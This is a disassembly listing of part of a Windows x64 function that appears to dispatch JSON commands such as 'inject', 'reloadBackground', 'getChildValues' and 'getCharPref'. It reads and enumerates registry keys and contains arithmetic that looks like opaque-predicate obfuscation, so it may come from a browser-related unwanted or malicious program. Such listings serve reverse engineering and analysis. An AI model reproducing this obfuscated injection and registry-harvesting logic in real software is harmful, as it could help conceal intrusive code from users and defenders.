mov dword [rsp + 0x408], eax
lea rdx, [0x140151960]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa90], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xaa0], rax
mov rcx, rax
call fcn.14003a780
mov dword [rsp + 0x648], eax
lea r9, [rsp + 0x108]
mov r8d, eax
mov edx, ebx
mov rcx, qword [r14 + 0x40]
call fcn.14005c660
mov ecx, dword [0x1401c6d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 0x13
jne 0x1400654d8
lea ecx, [r8 - 0xf]
call fcn.1400cd068
mov qword [rsp + 0xab0], rax
mov ecx, dword [0x1401c6d80]
mov dword [rax], ecx
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
mov rcx, qword [rsp + 0x108]
test rcx, rcx
je 0x140065512
call fcn.1400cc890
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0x118], rdi
lea rcx, [rsp + 0x2d10]
call fcn.1400013b0
jmp 0x1400665d5
lea rcx, [rsp + 0x2d10]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2cf0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
lea rcx, [rsp + 0x48]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2cf0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x140065834
test r12, r12
je 0x1400665d5
xor sil, sil
mov byte [rsp + 0x7b], sil
lea rcx, [rsp + 0x1e0]
call fcn.140002200
nop
lea rdx, [0x1401519e8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xac0], rax
lea rdx, [0x1401519f0]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xad0], rax
cmp byte [rax + 8], 4
jne 0x140065812
lea rdx, [0x140151980]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xae0], rax
lea rdx, [0x140151988]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xaf0], rax
lea rdx, [rsp + 0x2d30]
mov rcx, rax
call fcn.14003a4f0
nop
mov rax, qword [rsp + 0x2d40]
mov qword [rsp + 0xb00], rax
lea r8, [rsp + 0x2d30]
cmp qword [rsp + 0x2d48], 0x10
cmovae r8, qword [rsp + 0x2d30]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x418], ebx
test eax, eax
je 0x1400657c5
mov qword [rsp + 0x288], rdi
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x288]
call fcn.140033a20
nop
mov rax, qword [rsp + 0x2d40]
mov qword [rsp + 0xb10], rax
lea r8, [rsp + 0x2d30]
cmp qword [rsp + 0x2d48], 0x10
cmovae r8, qword [rsp + 0x2d30]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x288]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x1400657a0
mov r8, qword [rsp + 0x290]
sub r8, rbx
mov qword [rsp + 0xb20], r8
mov rdx, rbx
lea rcx, [rsp + 0x6a0]
call fcn.140022420
mov qword [rsp + 0xb30], rax
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.140002360
nop
lea rcx, [rsp + 0x6a0]
call fcn.1400022e0
mov sil, 1
mov byte [rsp + 0x7b], sil
test rbx, rbx
je 0x1400657c5
mov rcx, rbx
call fcn.1400cc890
mov qword [rsp + 0x288], rdi
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], rdi
lea rcx, [rsp + 0x2d30]
call fcn.1400013b0
test sil, sil
je 0x140065812
mov rcx, qword [rsp + 0x1e0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x768], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb40], rax
test rax, rax
jne 0x140065801
call fcn.1400025d0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
jmp 0x140065822
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x1e0]
call fcn.1400022e0
jmp 0x1400665d5
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x1400658d9
mov r8d, dword [0x1401c6d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
mov r14d, 1
cmp ecx, 0xc
jne 0x1400658ae
mov ecx, r14d
mov dword [rsp + 0x198], ecx
nop
cmp ecx, r8d
jge 0x1400658a8
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x198], ecx
jmp 0x140065890
mov dword [0x1401c6d80], ecx
mov rcx, qword [rsp + 0x1f0]
mov rcx, qword [rcx + 0x40]
add rcx, 0x1f8
call fcn.14006b0e0
test r12, r12
je 0x1400665d5
mov word [r12], r14w
jmp 0x1400665d5
lea rdx, str.debugMessage
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x1400659ac
lea rdx, [0x140151a34]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xb50], rax
lea rdx, str.message
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xb60], rax
cmp byte [rax + 8], 4
jne 0x140065998
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xb70], rax
lea rdx, [0x1401519f8]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xb80], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb90], rdx
lea rcx, [rsp + 0x6b0]
call fcn.140003450
nop
test r12, r12
je 0x140065986
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x6b0]
call fcn.1400022e0
jmp 0x1400665d5
test r12, r12
je 0x1400665d5
mov word [r12 + 8], di
jmp 0x140063b79
test r12, r12
je 0x1400659c1
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
mov ecx, dword [0x1401c6d80]
imul ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xb
jne 0x1400665d5
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov eax, 0xcccccccd
mul r8d
shr edx, 6
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub r8d, ecx
inc r8d
mov dword [rsp + 0x428], r8d
mov dword [0x1401c6d80], r8d
jmp 0x1400665d5
lea rdx, [0x140151744]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xba0], rax
lea rdx, [0x140151790]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xbb0], rax
cmp byte [rax + 8], 4
jne 0x1400665d5
test r12, r12
je 0x1400665d5
mov qword [rsp + 0x1c8], rdi
mov qword [rsp + 0x1d0], rdi
mov qword [rsp + 0x1d8], rdi
lea rdx, [0x140151798]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xbc0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003b130
test al, al
je 0x140065d55
lea rdx, [0x1401517a8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xbd0], rax
lea rdx, [0x140151760]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xbe0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbf0], rdx
lea rcx, [rsp + 0x200]
call fcn.140003450
nop
mov rbx, qword [r14 + 0x50]
lea rdx, [0x140151768]
lea rcx, [rsp + 0x200]
call fcn.1400037d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xc00], rbx
lea rdx, [0x140151780]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xc10], rax
lea rdx, [0x140151788]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xc20], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc30], rdx
lea rax, [rsp + 0x6c0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x658], eax
test eax, eax
je 0x140065c28
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
lea rcx, [rsp + 0x200]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x1c8]
call fcn.14001ba50
nop
lea rcx, [rsp + 0x48]
call fcn.1400022e0
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x140065bd8
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
lea rcx, [rsp + 0x70]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
mov ebx, edi
mov dword [rsp + 0x220], ebx
mov dword [rsp + 0xd8], 0x7ffe
lea rdx, [0x1401517c8]
lea rcx, [rsp + 0x48]
call fcn.1400037d0
mov r14, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove r14, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0xc40], r14
mov ecx, 0x7ffe
call fcn.1400cbef8
mov rsi, rax
mov qword [rsp + 0xc50], rax
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rax
call fcn.1400d1cf0
nop dword [rax + rax]
mov edx, ebx
inc ebx
mov dword [rsp + 0x220], ebx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0xd8]
mov r8, rsi
mov rcx, qword [rsp + 0x6c0]
call r14
mov dword [rsp + 0x438], eax
test eax, eax
jne 0x140065d1f
mov rdx, rsi
lea rcx, [rsp + 0x6d0]
call fcn.140003450
nop
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.14001e1f0
nop
lea rcx, [rsp + 0x6d0]
call fcn.1400022e0
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rsi
call fcn.1400d1cf0
mov dword [rsp + 0xd8], 0x7ffe
jmp 0x140065c90
cmp eax, 0x103
je 0x140065d42
mov rax, qword [rsp + 0x1d0]
sub rax, qword [rsp + 0x1c8]
test rax, 0xfffffffffffffff8
jne 0x140065d42
xor bl, bl
jmp 0x140065d44
mov bl, 1
mov byte [rsp + 0x53], bl
lea rcx, [rsp + 0x200]
jmp 0x140065e41
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.1400037d0
lea rcx, [rsp + 0x58]
test eax, eax
jne 0x140065dd9
lea rdx, [0x140151808]
call fcn.14003adf0
mov qword [rsp + 0xc60], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xc70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc80], rdx
lea rcx, [rsp + 0x2d0]
call fcn.140003450
nop
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0x2d0]
call fcn.14004c3c0
movzx ebx, al
mov byte [rsp + 0x53], al
lea rcx, [rsp + 0x2d0]
jmp 0x140065e41
lea rdx, [0x1401517b0]
call fcn.14003adf0
mov qword [rsp + 0xc90], rax
lea rdx, [0x1401517b8]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xca0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcb0], rdx
lea rcx, [rsp + 0x2e0]
call fcn.140003450
nop
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0x2e0]
call fcn.14004c050
movzx ebx, al
mov byte [rsp + 0x53], al
lea rcx, [rsp + 0x2e0]
call fcn.1400022e0
test bl, bl
je 0x14006607a
lea rdx, [0x1401517c0]
lea rcx, [rsp + 0xb8]
call fcn.140002240
nop
mov rbx, qword [rsp + 0x1c8]
mov qword [rsp + 0x700], rbx
cmp rbx, qword [rsp + 0x1d0]
je 0x140065f49
lea rdx, [0x14014f694]
lea rcx, [rsp + 0x300]
call fcn.140003450
nop
lea rdx, [0x14014f6fc]
lea rcx, [rsp + 0x2f0]
call fcn.140003450
nop
mov r8, rbx
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x6f0]
call fcn.14000f540
nop
lea r8, [rsp + 0x300]
mov rdx, rax
lea rcx, [rsp + 0x6e0]
call fcn.14000f540
mov qword [rsp + 0xcc0], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x7f8], r8d
mov qword [rsp + 0xcd0], rdx
lea rcx, [rsp + 0xb8]
call fcn.140010000
nop
lea rcx, [rsp + 0x6e0]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x6f0]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2f0]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x300]
call fcn.1400022e0
add rbx, 8
jmp 0x140065e6b
mov rax, qword [rsp + 0xb8]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x448], r8d
dec r8d
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0xb8]
call fcn.14001b570
nop
lea r8, [0x14014f714]
mov rdx, rax
lea rcx, [rsp + 0x710]
call fcn.14001b610
mov qword [rsp + 0xce0], rax
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.140002360
nop
lea rcx, [rsp + 0x710]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x720]
call fcn.1400022e0
mov rcx, qword [rsp + 0xb8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x668], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xcf0], rax
test rax, rax
jne 0x140065feb
call fcn.1400025d0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov eax, dword [0x1401c6d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp ecx, 8
jne 0x14006606b
mov ecx, 0x28
call fcn.1400cbef8
mov rbx, rax
mov qword [rsp + 0xd00], rax
mov dword [rsp + 0x1a8], edi
cmp edi, 0xa
jge 0x140066059
call fcn.1400cd268
add eax, dword [0x1401c6d80]
movsxd rcx, edi
mov dword [rbx + rcx*4], eax
inc edi
jmp 0x140066038
mov eax, dword [rbx + 0x24]
mov dword [0x1401c6d80], eax
mov rcx, rbx
call fcn.1400cd9ec
nop
lea rcx, [rsp + 0xb8]
call fcn.1400022e0
jmp 0x14006608a
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x1c8]
call fcn.14001ba50
jmp 0x1400665d5
lea rdx, [0x1401513a8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xd10], rax
lea rdx, [0x1401513b0]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xd20], rax
cmp byte [rax + 8], 4
jne 0x140066599
test r12, r12
je 0x140066599
lea rdx, [0x1401513b8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xd30], rax
lea rdx, [0x140151368]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xd40], rax
cmp byte [rax + 8], 4
jne 0x140066599
lea rdx, [0x140151374]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xd50], rax
lea rdx, [0x140151380]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xd60], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd70], rdx
lea rcx, [rsp + 0xc8]
call fcn.140003450
nop
lea rdx, [0x140151388]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xd80], rax
lea rdx, [0x1401513f8]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xd90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xda0], rdx
lea rcx, [rsp + 0xc0]
call fcn.140003450
nop
mov rsi, rdi
mov qword [rsp + 0x138], rdi
lea rdx, [0x140151404]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xdb0], rax
lea rdx, [0x14015140c]
mov rcx, rax
call fcn.14003b130
test al, al
je 0x1400662da
lea rdx, [0x140151414]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xdc0], rax
lea rdx, [0x1401513c0]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xdd0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xde0], rdx
lea rcx, [rsp + 0x310]
call fcn.140003450
nop
mov eax, dword [0x1401c6d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
mov eax, dword [0x1401c7e00]
mov edx, 0xb8813721
cmp ecx, 5
cmove eax, edx
mov dword [0x1401c7e00], eax
mov rbx, qword [r14 + 0x50]
mov qword [rsp + 0x138], rbx
lea rdx, [0x1401513c8]
lea rcx, [rsp + 0x310]
call fcn.1400037d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x138], rbx
mov rcx, qword [rsp + 0x310]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x730], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400662d2
mov rdx, qword [rsp + 0x730]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rsi, qword [rsp + 0x138]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x140066457
lea rcx, [rsp + 0x130]
call fcn.140002200
nop
test rsi, rsi
je 0x140066330
mov r9, rsi
lea r8, [rsp + 0xc8]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x130]
call fcn.14004b2f0
mov rbx, qword [rsp + 0x40]
jmp 0x1400663e4
lea rax, [rsp + 0x740]
mov qword [rsp + 0xdf0], rax
lea rdx, [0x14014f4bc]
lea rcx, [rsp + 0x740]
call fcn.140002240
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401c1d58]
lea r8, [rsp + 0xc8]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x750]
call fcn.14004a980
mov qword [rsp + 0xe00], rax
mov rdx, rax
lea rcx, [rsp + 0x130]
call fcn.140002360
nop
mov rcx, qword [rsp + 0x750]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x760], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400663c9
mov rdx, qword [rsp + 0x760]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rbx, qword [rsp + 0x40]
jmp 0x1400663e4
mov rcx, qword [rsp + 0x130]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x458], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xe10], rax
test rax, rax
jne 0x14006640e
call fcn.1400025d0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x130]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x780], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140066534
mov rdx, qword [rsp + 0x780]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140066534
mov ebx, r15d
mov dword [rsp + 0x9c], ebx
mov dword [rsp + 0xdc], 0xffffffff
test rsi, rsi
je 0x1400664ac
mov r9, rsi
lea r8, [rsp + 0xc8]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0xdc]
call fcn.14004b4e0
mov byte [rsp + 0x7a], al
mov ecx, dword [rsp + 0xdc]
cmp ecx, 0xffffffff
je 0x14006650a
mov ebx, ecx
mov dword [rsp + 0x9c], ecx
jmp 0x140066505
lea rax, [rsp + 0x790]
mov qword [rsp + 0xe20], rax
lea rdx, [0x14014f544]
lea rcx, [rsp + 0x790]
call fcn.140002240
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401c1d58]
lea r8, [rsp + 0xc8]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x9c]
call fcn.14004b830
mov byte [rsp + 0x7a], al
mov ebx, dword [rsp + 0x9c]
cmp ebx, 0xffffffff
jne 0x140066520
test al, al
jne 0x140066520
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
jmp 0x14006652f
mov dword [r12 + 8], ebx
mov eax, 0x16
mov word [r12], ax
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140066566
mov rdx, qword [rsp + 0x7a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006659e
mov rdx, qword [rsp + 0x7b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14006659e
mov rbx, qword [rsp + 0x40]
mov ecx, dword [0x1401c6d80]
imul ecx, ecx
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xa
jne 0x1400665da
inc dword [0x1401c7dec]
jmp 0x1400665da
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2cf0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov sil, 1
jmp 0x140066734
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x330]
call fcn.140003450
nop
lea rdx, [rsp + 0x330]
mov rcx, qword [r14 + 0x40]
call fcn.14005c4a0
nop
mov rcx, qword [rsp + 0x330]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140066678
mov rdx, qword [rsp + 0x7c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x140066690
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3e8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400666db
mov rdx, qword [rsp + 0x3e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
test sil, sil
jne 0x140066734
mov r14d, 1
movzx esi, byte [rsp + 0x51]
test r12, r12
je 0x140066734
mov word [r12], r14w
mov rdx, qword [rbx]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r15d
dec r15d
jg 0x140066750
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, sil
mov rcx, qword [rsp + 0x3cb0]
xor rcx, rsp
call fcn.1400cc8b0
movaps xmm6, xmmword [rsp + 0x3cc0]
add rsp, 0x3cd0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret